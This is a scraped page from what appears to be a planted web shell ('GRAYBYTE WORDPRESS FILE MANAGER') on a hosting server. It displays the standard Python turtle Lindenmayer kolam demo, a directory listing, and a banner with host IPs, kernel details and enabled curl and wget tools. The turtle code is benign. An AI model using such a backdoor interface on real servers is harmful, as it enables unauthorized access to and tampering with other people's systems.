✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.4
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/lib64/python3.12/turtledemo//lindenmayer.py
#! /usr/bin/python3.12
"""       turtle-example-suite:

        xtx_lindenmayer_indian.py

Each morning women in Tamil Nadu, in southern
India, place designs, created by using rice
flour and known as kolam on the thresholds of
their homes.

These can be described by Lindenmayer systems,
which can easily be implemented with turtle
graphics and Python.

Two examples are shown here:
(1) the snake kolam
(2) anklets of Krishna

Taken from Marcia Ascher: Mathematics
Elsewhere, An Exploration of Ideas Across
Cultures

"""
################################
# Mini Lindenmayer tool
###############################

from turtle import *

def replace( seq, replacementRules, n ):
    for i in range(n):
        newseq = ""
        for element in seq:
            newseq = newseq + replacementRules.get(element,element)
        seq = newseq
    return seq

def draw( commands, rules ):
    for b in commands:
        try:
            rules[b]()
        except TypeError:
            try:
                draw(rules[b], rules)
            except:
                pass


def main():
    ################################
    # Example 1: Snake kolam
    ################################


    def r():
        right(45)

    def l():
        left(45)

    def f():
        forward(7.5)

    snake_rules = {"-":r, "+":l, "f":f, "b":"f+f+f--f--f+f+f"}
    snake_replacementRules = {"b": "b+f+b--f--b+f+b"}
    snake_start = "b--f--b--f"

    drawing = replace(snake_start, snake_replacementRules, 3)

    reset()
    speed(3)
    tracer(1,0)
    ht()
    up()
    backward(195)
    down()
    draw(drawing, snake_rules)

    from time import sleep
    sleep(3)

    ################################
    # Example 2: Anklets of Krishna
    ################################

    def A():
        color("red")
        circle(10,90)

    def B():
        from math import sqrt
        color("black")
        l = 5/sqrt(2)
        forward(l)
        circle(l, 270)
        forward(l)

    def F():
        color("green")
        forward(10)

    krishna_rules = {"a":A, "b":B, "f":F}
    krishna_replacementRules = {"a" : "afbfa", "b" : "afbfbfbfa" }
    krishna_start = "fbfbfbfb"

    reset()
    speed(0)
    tracer(3,0)
    ht()
    left(45)
    drawing = replace(krishna_start, krishna_replacementRules, 3)
    draw(drawing, krishna_rules)
    tracer(1)
    return "Done!"

if __name__=='__main__':
    msg = main()
    print(msg)
    mainloop()


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
27 May 2026 7.58 AM
root / root
0755
__pycache__
--
27 May 2026 7.58 AM
root / root
0755
__init__.py
0.307 KB
3 Mar 2026 12.39 PM
root / root
0644
__main__.py
15.015 KB
3 Mar 2026 12.39 PM
root / root
0755
bytedesign.py
4.148 KB
3 Mar 2026 12.39 PM
root / root
0755
chaos.py
0.929 KB
3 Mar 2026 12.39 PM
root / root
0644
clock.py
3.227 KB
3 Mar 2026 12.39 PM
root / root
0755
colormixer.py
1.308 KB
3 Mar 2026 12.39 PM
root / root
0644
forest.py
2.896 KB
3 Mar 2026 12.39 PM
root / root
0755
fractalcurves.py
3.392 KB
3 Mar 2026 12.39 PM
root / root
0755
lindenmayer.py
2.377 KB
3 Mar 2026 12.39 PM
root / root
0755
minimal_hanoi.py
2.003 KB
3 Mar 2026 12.39 PM
root / root
0755
nim.py
6.36 KB
3 Mar 2026 12.39 PM
root / root
0644
paint.py
1.261 KB
3 Mar 2026 12.39 PM
root / root
0755
peace.py
1.041 KB
3 Mar 2026 12.39 PM
root / root
0755
penrose.py
3.301 KB
3 Mar 2026 12.39 PM
root / root
0755
planet_and_moon.py
2.759 KB
3 Mar 2026 12.39 PM
root / root
0755
rosette.py
1.329 KB
3 Mar 2026 12.39 PM
root / root
0644
round_dance.py
1.762 KB
3 Mar 2026 12.39 PM
root / root
0644
sorting_animate.py
4.935 KB
3 Mar 2026 12.39 PM
root / root
0755
tree.py
1.368 KB
3 Mar 2026 12.39 PM
root / root
0755
turtle.cfg
0.156 KB
3 Mar 2026 12.39 PM
root / root
0644
two_canvases.py
1.093 KB
3 Mar 2026 12.39 PM
root / root
0644
yinyang.py
0.802 KB
3 Mar 2026 12.39 PM
root / root
0755

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF